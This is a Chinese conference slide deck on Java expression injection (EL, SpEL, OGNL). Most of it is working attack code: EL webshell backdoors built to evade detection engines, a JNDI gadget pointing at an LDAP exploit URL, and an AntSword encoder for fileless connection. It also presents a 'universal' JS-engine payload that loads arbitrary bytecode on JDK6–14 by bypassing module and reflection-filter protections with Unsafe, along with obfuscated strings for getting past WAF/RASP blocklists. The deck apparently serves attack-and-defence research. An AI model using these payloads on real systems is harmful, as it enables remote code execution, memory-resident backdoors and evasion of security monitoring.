Java表达式攻防下的黑魔法

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1. Java表达式攻防下的 黑魔法 演讲人:刘镇东(yzddMr6)
2. 自我介绍 刘镇东(yzddMr6),现就职于阿里云云安全能力建设团队 l AntSword开发组核心成员,开源工具As-Exploits、WebCrack、Webshell-venom等作者, 2022补天白帽大会演讲者 l 目前主要从事RASP、恶意流量攻防研究,以及阿里云恶意文本检测引擎的建设 l GITHUB: github.com/yzddmr6 l BLOG: yzddmr6.com l MAIL: yzddmr6@gmail.com
3. 目录 / CONTENTS 背景介绍 Magic in EL Expression 表达式注入的武 器化利用 表达式注入下的 绕过
4. 背景介绍 l Java灵活的表达式虽然带来了开发和使用的便捷性,但如果没有对输入进行过滤就直接解析执行,则会 引发严重的安全问题 l 攻击者利用Java表达式注入漏洞可以实现任意代码的执行,或者利用表达式构造隐蔽的WebShell后门实 现对服务器的长期控制 l 历史上EL表达式、SpEL表达式、OGNL表达式等都曾引发过严重的安全问题,所以Java表达式下的攻防 一直是安全人员研究的重点 CVE-2018-14667 CVE-2021-26084 CVE-2017-5638 CVE-2018-1273 CVE-2022-22980 CVE-2022-22947 CVE-2017-9791 CVE-2018-16621 CVE-2017-8046 CVE-2022-26134 CVE-2017-1000112 ...
5. Magic in EL Expression
6. 关于EL表达式 n EL表达式是JSP 2.0规范的一部分,在Tomcat、WebLogic等中间件中默认支持,适用范围极广。 n 借助强大的EL表达式,我们可以让JSP WebShell拥有很多动态特性,让我们的WebShell更加隐蔽灵 活,逃过大多数引擎的检测 支持EL表达式的中间件 ...
7. EL表达式的动态执行特性 ${''.getClass().forName("javax.script.ScriptEngineManager").newInstance() .getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\"open /\")")} <% "".getClass().forName("javax.script.ScriptEngineManager").newInstance() .getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\"open /\""); %> ERROR: 无法解析’Object’中的方法‘getEngineByName’ <% ((ScriptEngineManager)"".getClass().forName("javax.script.ScriptEngineManager").newInstance()) .getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\"open /\""); %>
8. EL表达式的动态执行逻辑 org.apache.jasper.runtime.PageContextImpl#proprietaryEvaluate ->org.apache.el.parser.AstValue#getValue ->org.apache.jasper.el.JasperELResolver#invoke ->javax.el.BeanELResolver#invoke ->java.lang.reflect.Method#invoke 以点号为分隔符,解析成一个个的节点
9. EL表达式的动态执行逻辑 org.apache.jasper.runtime.PageContextImpl#proprietaryEvaluate ->org.apache.el.parser.AstValue#getValue ->org.apache.jasper.el.JasperELResolver#invoke ->javax.el.BeanELResolver#invoke ->java.lang.reflect.Method#invoke 循环反射,base为每轮递归反射之后 保存的对象
10. EL表达式的动态执行逻辑 org.apache.jasper.runtime.PageContextImpl#proprietaryEvaluate ->org.apache.el.parser.AstValue#getValue ->org.apache.jasper.el.JasperELResolver#invoke ->javax.el.BeanELResolver#invoke ->java.lang.reflect.Method#invoke l resolver数组主要保存具体的节点处 理,比如说list的处理,array节点的 处理等。在这里用到的是 BeanELResolver l resolve成功后会在context做一个标 记,告诉上文这里的节点被找到了
11. EL表达式的动态执行逻辑 org.apache.jasper.runtime.PageContextImpl#proprietaryEvaluate ->org.apache.el.parser.AstValue#getValue ->org.apache.jasper.el.JasperELResolver#invoke ->javax.el.BeanELResolver#invoke ->java.lang.reflect.Method#invoke 到具体的节点的resolver,触发最终的反射
12. EL表达式的动态执行特性 ${''.getClass().forName("javax.script.ScriptEngineManager").newInstance() .getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\"open /\")")} Q: 为什么EL表达式不需要强制类型转换? A: EL表达式在执行时,每一步函数调用都会通过反射去实现。在反射的过程中确定具体的类型, 所以不需要强制类型转换
13. 云上真实攻防案例--定制化后门 ${param.getClass().forName(param.c) .newInstance().eval(param.cmd)} • 实际调用的参数均由外部传入 • 动态反射调用bsh.Interpreter类下的eval方法 • 被“自适应WebShell通信拦截”模型检出并拦截
14. 方括号执行函数 ${''.getClass()} == ${''['getClass']()}
15. 方括号执行函数 base ${ '' AstMethodParameters ['getClass'] () } org.apache.el.parser.AstBracketSuffix#getValue AstBracketSuffix org.apache.el.parser.AstValue#getValue @Override public Object getValue(EvaluationContext ctx) throws ELException { return this.children[0].getValue(ctx); } while (base != null && i < propCount) { // Evaluate next node suffix = this.children[i].getValue(ctx); // if next+1 node is (...) if (i + 1 < propCount && (this.children[i+1] instanceof AstMethodParameters)) { AstMethodParameters mps = (AstMethodParameters) this.children[i+1]; ... // Then this is a method Object[] paramValues = mps.getParameters(ctx); // Invoke method base = resolver.invoke(ctx, base, suffix, getTypesFromValues(paramValues),paramValues); } else {...} }
16. Java实现“变量函数” ${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval()} l 利用方括号特性:把要调用的方法放到字符串的位置 ${''['getClass']()['forName']('javax.script.ScriptEngineManager')['newInstance']()['getEngineByName']('js')['eval']()} l 利用动态执行特性:把要调用的参数通过外部参数传入 ${""[param.a]()[param.b](param.c)[param.d]()[param.e](param.f)[param.g](param.h)}
17. 利用内置对象实现变量赋值 l EL表达式不支持 Object a= xxx赋值语句,但是有些情况下我们需要保存临时变量来构建更复杂的Payload l 可以借助内置对象来实现变量的间接传递 ${ pageContext.setAttribute("obj",Runtime.getRuntime()); pageContext.getAttribute("obj").exec("open -a Calculator") } EL表达式内置对象与JSP对应关系 EL表达式 JSP pageContext pageContext pageScope 基本等同于pageContext requestScope request sessionScope session applicationScope application param ServletRequest.getParameter(String name) paramValues ServletRequest.getParameterValues(String name) header ServletRequest.getHeader(String name) headerValues ServletRequest.getHeaders(String name) cookie HttpServletRequest.getCookies() initParam ServletContext.getInitParameter(String name)
18. EL表达式执行getter/setter原理 l EL表达式中 点号属性取值相当于执行对象的 getter 方法; 等号属性赋值则等同于执行 setter 方法 l RWCTF Desperate Cat 中用到了这个trick ${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a} pageContext.getServletContext().getClassLoader().getResources() .getContext().getManager().setPathname(request.getParameter("a")); 以执行setter为例,核心堆栈: proprietaryEvaluate:942, PageContextImpl (org.apache.jasper.runtime) -> getValue:189, ValueExpressionImpl (org.apache.el) -> getValue:37, AstSemicolon (org.apache.el.parser) -> getValue:35, AstAssign (org.apache.el.parser) -> setValue:201, AstValue (org.apache.el.parser) -> setValue:115, CompositeELResolver (javax.el) -> setValue:119, BeanELResolver (javax.el)
19. EL表达式执行getter/setter利用 是否想到了反序列化中的getter/setter利用? l com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties - load custom bytecode and instantiate it to execute arbitrary Java code l com.sun.rowset.JdbcRowSetImpl#setAutoCommit - trigger JNDI injection, can also execute arbitrary Java code ... 结合一下之前提到的EL实现变量赋值的技巧: ${ pageContext.setAttribute("obj","".getClass().forName("com.sun.rowset.JdbcRowSetImpl").newInstance()); pageContext.getAttribute("obj").dataSourceName="ldap://127.0.0.1:9999/exp"; pageContext.getAttribute("obj").autoCommit=true }
20. 标签中的EL表达式 l EL表达式不仅可以放到jsp的body里,也可以插入到各种的标签中 l WebShell引擎如果没有正确解析AST,则会被当做字符串忽略 <jsp:useBean id="test" type="java.lang.Class" beanName="${Runtime.getRuntime().exec(param.cmd)}"></jsp:useBean> l l l l l ... org.apache.jasper.compiler.Generator.GenerateVisitor#attributeValue org.apache.jasper.compiler.ELInterpreter#interpreterCall org.apache.jasper.compiler.JspUtil#interpreterCall ... (java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate( "${Runtime.getRuntime().exec(param.cmd)}", java.lang.String.class, (javax.servlet.jsp.PageContext)_jspx_page_context, null )
21. 表达式注入的武器化利用
22. 任意命令执行 vs 任意代码执行 目前大多数工具/POC只是做到了任意命令执行,但是在实战中我们更希望 得到一个任意代码执行的口子: 1. 任意命令执行在进程层面很容易留下痕迹被发现,而任意代码执行在语 言函数层面,有天然的隐蔽的优势。 2. 任意代码执行可以实现注入内存马等进阶操作。
23. 利用JS引擎延展利用链 n Java有很多种表达式,不同表达式有不同的语法特点:有些必须要 其中JS引擎就非常符合我们的要求: 用链式反射去调用方法,有些可以直接new;有些表达式只能执行一 1. 一行代码即可调用JS引擎,在JS引擎中可以执行多句 句,有些可以执行多句 2. JDK6-14都可以使用,基本满足对兼容性的需要 3. 可以间接调用Java方法,实现任意代码执行 n 想要做到武器化利用就要选取一种通用的中间层语言,去延展我们的 利用链 EL: ${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval()} SpEL: T(javax.script.ScriptEngineManager).newInstance().getEngineByName("js").eval() Ognl: (new javax.script.ScriptEngineManager()).getEngineByName("js").eval() MVEL: new javax.script.ScriptEngineManager().getEngineByName("js").eval(); JEXL: ''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval()
24. AntSword一键连接漏洞点 AntSword JSPJS类型配合自定义编码器,可实现各种表达式注入以及模板注入场景一键无文件连接 n 举例:themeleaf模板注入 @RequestMapping("/engine/path") public String path(@RequestParam String lang) { return lang; //template path is tainted } n 编码器 'use strict'; module.exports = (pwd, data, ext = null) => { data[pwd] = `__\${T(javax.script.ScriptEngineManager).newInstance().getEngineByName ("js").eval(new String(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode( '${Buffer.from(data['_']).toString('base64')}')))}__::.x`; delete data['_']; return data; }
25. 继续延展 只能反射调用 原始表达式Payload or 只能执行单句 or 只能做到命令执行 表达式+JS引擎 受限的代码执行 表达式+JS引擎+任意字节码加载 完整的任意代码执行 l 由于JS引擎的限制,很多比如注入内存马、加载Shellcode等相关操作在JS引擎中实现较为麻烦,涉及到 Java跟JS类型之间的转换,容易有BUG,无法直接复用原有的很多基于字节码的Payload l 为了实现任意代码执行的完全体,还是需要做到任意字节码的加载
26. 加载字节码方式选择 URLClassLoader BCELClassLoader *.defineClass u 通用性强 u 通用性不强 u 通用性强 u 需要额外落盘文件 u 无需落盘文件 u 无需落盘文件
27. 原始Payload var var var var JDK6 JDK7 JDK8 JDK9 JDK10 JDK11 JDK12 JDK13 JDK14 ❌ ❌ ✅ ✅ ✅ ❌ ❌ ❌ ❌ classBytes = Base64DecodeToByte(Classdata); byteArray = Java.type("byte[]"); int = Java.type("int"); defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod( "defineClass", byteArray.class, int.class, 之前在博客文章里给出过一版原始Payload int.class ); 但是很多JDK版本并不兼容: defineClassMethod.setAccessible(true); https://yzddmr6.com/posts/a-new-type-java-webshell/ var cc = defineClassMethod.invoke( Thread.currentThread().getContextClassLoader(), classBytes, 0, classBytes.length ); return cc.getConstructor(java.lang.String.class).newInstance(cmd);
28. JDK版本时间线 • JDK开始引入JS引擎,采用Rhino实现 • Reflection类下fieldFilterMap增加 • 不支持Java.type等获取Java类型的操作 • 引入模块机制 • 反射部分Java方法会玄学报错 • 部分非标准库的类被移除 JDK6、7 过滤,反射操作被大大限制 JDK9 JDK8 JDK12 JDK11 JDK15 • JS引擎默认采用Nashorn实现 • Unsafe.defineClass方法被移除 • JS引擎被正式移出JDK • 进一步增强JS调用Java方法的能力 • 默认禁止跨包之间反射调用非公有方法 • 彻底噶了
29. JDK6/7 Rhino下调用defineClass JDK6 JDK7 JDK8 JDK9 JDK10 JDK11 JDK12 JDK13 JDK14 ✅ ✅ ✅ ✅ ✅ ❌ ❌ ❌ ❌ var classBytes = Base64DecodeToByte(Classdata); var theUnsafeMethod = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe"); theUnsafeMethod.setAccessible(true); unsafe = theUnsafeMethod.get(null); clz = unsafe.defineClass(null, classBytes, 0, classBytes.length, null, null); clz.newInstance(); l Rhino中没有Java.type等方便的接口获取Java对象 l 反射调用ClassLoader.defineClass会有玄学报错 l 使用Unsafe类下的defineClass绕过 l BCEL ClassLoader也可以,不过Payload跟后续的不通用
30. JDK11绕过模块隔离强行反射方法 l JDK11移除了Unsafe.defineClass方法 TypeError: unsafe.defineClass is not a function in <eval> at line number 27 l 无法强行对defineClass方法setAccessible(true) Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(byte[],int,int) throws java.lang.ClassFormatError accessible: module java.base does not "opens java.lang" to module jdk.scripting.nashorn.scripts
31. JDK11绕过模块隔离强行反射方法 JDK6 JDK7 JDK8 JDK9 JDK10 JDK11 JDK12 JDK13 JDK14 ✅ ✅ ✅ ✅ ✅ ✅ ❌ ❌ ❌ var Unsafe = Java.type("sun.misc.Unsafe"); var field = Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true); var unsafe = field.get(null); //获取unsafe实例 l java.lang.reflect.AccessibleObject#checkCanSet Accessible 会通过Modifier判断权限修饰符 l 通过Unsafe类强行将其变为public方法 var Modifier = Java.type("java.lang.reflect.Modifier"); var byteArray = Java.type("byte[]"); var int = Java.type("int"); var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod( "defineClass",byteArray.class,int.class,int.class); //获取defineClass方法 var modifiers = defineClassMethod.getClass().getDeclaredField("modifiers"); //获取defineClass的modifiers unsafe.putShort(defineClassMethod, unsafe.objectFieldOffset(modifiers), Modifier.PUBLIC); //强行修改为PUBLIC var cc = defineClassMethod.invoke( //反射调用,绕过限制 java.lang.Thread.currentThread().getContextClassLoader(),classBytes,0,classBytes.length); cc.newInstance();
32. JDK12/13/14绕过fieldFilterMap l JDK>=12报错提示:没有modifiers字段 Caused by: java.lang.NoSuchFieldException: modifiers at java.base/java.lang.Class.getDeclaredField(Class.java:2416) l 核心原因在于jdk.internal.reflect.Reflection#fieldFilterMap的变化 n JDK11 Map<Class<?>,String[]> map = new HashMap<>(); map.put(Reflection.class, new String[] { "fieldFilterMap", "methodFilterMap"} ); map.put(System.class, new String[] {"security"} ); map.put(Class.class, new String[] {"classLoader"} ); fieldFilterMap = map; n JDK12 fieldFilterMap = Map.of( Reflection.class, ALL_MEMBERS, AccessibleObject.class, ALL_MEMBERS, Class.class, Set.of("classLoader"), ClassLoader.class, ALL_MEMBERS, Constructor.class, ALL_MEMBERS, Field.class, ALL_MEMBERS, Method.class, ALL_MEMBERS, Module.class, ALL_MEMBERS, System.class, Set.of("security") );
33. JDK12/13/14绕过fieldFilterMap l https://github.com/BeichenDream/Kcon2021Code/blob/master/bypassJdk/JdkSecurityBypass.java l 用Nashorn语法实现 // 获取Unsafe对象 var Unsafe = Java.type('sun.misc.Unsafe'); var HashMap = Java.type('java.util.HashMap'); var field = Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true); var unsafe = field.get(null); 还得是Beichen // 利用defineAnonymousClass获取fieldFilterMap偏移 var classClass = Java.type("java.lang.Class"); var reflectionClass = java.lang.Class.forName("jdk.internal.reflect.Reflection"); var classBuffer = reflectionClass.getResourceAsStream("Reflection.class").readAllBytes(); var reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass, classBuffer, null); var fieldFilterMapField = reflectionAnonymousClass.getDeclaredField("fieldFilterMap"); // 清空原有的fieldFilterMap if (fieldFilterMapField.getType().isAssignableFrom(HashMap.class)) { unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(fieldFilterMapField), new HashMap()); } // 清除缓存 var clz = java.lang.Class.forName("java.lang.Class").getResourceAsStream("Class.class").readAllBytes(); var ClassAnonymousClass = unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), clz, null); var reflectionDataField = ClassAnonymousClass.getDeclaredField("reflectionData"); unsafe.putObject(classClass, unsafe.objectFieldOffset(reflectionDataField), null);
34. 最终通杀Payload JDK6 JDK7 JDK8 JDK9 JDK10 JDK11 JDK12 JDK13 JDK14 ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ function defineClass(classBytes) { try { // jdk6-10 unsafe.defineClass(null, classBytes, 0, classBytes.length, null, null).newInstance(); } catch (e) { // jdk11-14 bypass() //绕过fieldFilterMap var defineClassMethod = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod( "defineClass", java.lang.Class.forName("[B"), // 反射获取字节数组类型 java.lang.Integer.TYPE, java.lang.Integer.TYPE ); var modifiers = defineClassMethod.getClass().getDeclaredField("modifiers"); unsafe.putShort(defineClassMethod, unsafe.objectFieldOffset(modifiers), 0x00000001); var cc = defineClassMethod.invoke( java.lang.Thread.currentThread().getContextClassLoader(), classBytes,0,classBytes.length ); l Rhino不支持Java.type、SomeClass.class语法,为了兼容需要全部用反射来代替 cc.newInstance(); } l 完整代码见Github:https://github.com/yzddmr6/Java-Js-Engine-Payloads } defineClass(Base64DecodeToByte(PAYLOAD));
35. 其他思路 l https://github.com/gobysec/Research/blob/main/Metabase_Code_Executi on_Vulnerability_(CVE-2023-38646)_Exploing_H2_JDBC_in_Depthzh_CN.md l 思路基本一致,区别在于修改的是override属性 r4v3en function setAccessible(accessibleObject){ var unsafe = getUnsafe(); var overrideField = java.lang.Class.forName("java.lang.reflect.AccessibleObject").getDeclaredField("override"); var offset = unsafe.objectFieldOffset(overrideField); unsafe.putBoolean(accessibleObject, offset, true); } ...
36. 更短的Payload l 如果仅仅是为了defineClass,不需要绕过JDK机制那么麻烦 l 别忘了Unsafe.defineAnonymousClass是没有被移除的 su18 function defineClass(classBytes) { var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe"); theUnsafe.setAccessible(true); unsafe = theUnsafe.get(null); unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), classBytes, null).newInstance(); }
37. 链路回顾 基础表达式 表达式→JS引擎 表达式→JS引擎→部分JDK任意字节码加载 表达式→JS引擎→所有JDK任意字节码加载 l 至此,我们已经实现了从表达式到任意代码执行的完全体
38. 表达式注入漏洞下的绕过
39. 常见绕过手段 (%27\u0023context[\%27xwork.MethodAccessor .denyMethodExecution\%27]\u003dfalse%27)(s u18)(su19)&(%27\u0023su20\u003d@java.lang. Runtime@getRuntime().exec(\%27open%20- a%20Calculator.app\%27)%27)(su21)(su22) T(String).getClass().forName("java.l"+"ang.Ru" +"ntime").getMethod("ex"+"ec",T(String[])).inv oke(T(String).getClass().forName("java.l"+"ang .Ru"+"ntime").getMethod("getRu"+"ntime").invok e(T(String).getClass().forName("java.l"+"ang.R u"+"ntime")),new String[]{"cmd","/C","calc"}) Unicode编码 智能解码 %00绕过 类黑名单 大小写 表达式长度限制 反射+字符串混淆 ... ... T(java.lang.Character).toString(46).concat(T(java.lang.Character ).toString(46)).concat(T(java.lang.Character).toString(47)).conc at(T(java.lang.Character).toString(102)).concat(T(java.lang.Char acter).toString(108)).concat(T(java.lang.Character).toString(97) ).concat(T(java.lang.Character).toString(103))... ognl_blacklist: { name: '算法1 - OGNL语句黑名单', action: 'block', expression: [ 'ognl.OgnlContext', 'ognl.TypeConverter', 'ognl.MemberAccess', '_memberAccess', 'ognl.ClassResolver', 'java.lang.Runtime', 'java.lang.Class', 'java.lang.ClassLoader', 'java.lang.System', 'java.lang.ProcessBuilder', 'java.io.File', 'javax.script.ScriptEngineManager’, ... ] } ognl_length_limit: { name: '算法2 - OGNL表达式长度限制', action: 'log', max_length: 400 }
40. 小众利用类/新利用类 l 常见的函数特征均会被WAF/RASP拦截 l 部分场景下对payload有长度限制 l 即使混淆了反射的字符串,语句中还是会有反射的函数特征:getClass,newInstance,invoke... l 点对点寻找特定表达式解析特性难度大/不一定有/通用性不强(每种表达式都要特殊去分析) l 寻找不在防护软件规则集中的冷门利用类 l 一句话形式,链式调用,兼容不可执行多句的表达式 l 尽可能通用,不依赖第三方包
41. 远程加载JS https://hackerone.com/reports/1418891 new java.lang.ProcessBuilder(["/bin/bash","-c","open -a Calculator.app"]).start(); or 结合前面提到的姿势去打内存马
42. JavaWrapper加载BCEL字节码 l 2022 0CTF l hessian反序列化中gadgets
43. 远程加载XML l 随手发现的,好像还没人提过? n mr6.xml <new class="java.lang.ProcessBuilder"> <string>open</string> <string>-a</string> <string>Calculator</string> <object method="start"></object> </new> Q:能否结合JS引擎做到任意代码执行?
44. 感谢您的观看! THANK YOU FOR YOUR WATCHING

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